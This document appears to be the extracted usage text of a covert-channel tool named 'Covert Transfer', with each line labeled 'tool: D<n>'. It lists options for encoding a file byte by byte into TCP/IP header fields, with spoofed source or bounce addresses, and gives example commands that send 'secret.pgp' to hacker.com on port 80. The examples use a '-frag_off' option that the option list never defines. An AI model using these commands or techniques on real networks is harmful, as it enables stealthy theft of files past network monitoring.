tool: D103: Covert Transfer Usage: 
%s -dest dest_ip -dest_port port -file filename [encode type]



tool: D42: -dest [dest_ip]		- Receiver to send data to. 

tool: D83: -dest_port [port]	- IP port you want data to go to. [DEFAULT PORT == 80]

tool: D7: -source [source_ip]	- Host where you want to data to originate from.
			  (Source can include a bounce server address).

tool: D108: -src_port [source_port]	- IP source port you want data to appear from. 
			  (Randomly Set by default)

tool: D158: -file [filename]	- Name of the file to encode and transfer.


tool: D19: [Encode Type]: Following are the optional encoding types: 

tool: D70: 	-urg_ptr	- Encode data a byte at a time in the TCP packet Urgent Pointed field.

tool: D57: 	-seq		- Encode data a byte at a time in the TCP packet sequence number field. 

tool: D98: 	-ack		- Encode data a byte at a time in the TCP packet acknowledge field. 

tool: D73: 	-id		- Encode data a byte at a time in the IP packet identification field. 

tool: D102: 	-tos	- Encode data a byte at a time in the IP packet's Type of Service field.


tool: D133: Examples
=====================================================================================================================


tool: D31: Example 1: 
 %s -dest hacker.com -dest_port 80 -file secret.pgp -frag_off 
 %s -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr 



tool: D29:  The example above send the secret.pgp file a byte at time to hacker.com on port 80 either using
 IP headers fragment offset field or TCP headers urgent pointer field.


tool: D4: Example 2: 
 %s -source foo.bar.com -src_port 1234  -dest hacker.com -dest_port 80 -file secret.pgp -frag_off 
 %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr 



tool: D39:  The example above send the secret.pgp file a byte at time to hacker.com on 
 port 80 from foo.bar.com either using IP headers fragment offset field or 
 TCP headers urgent pointer field.
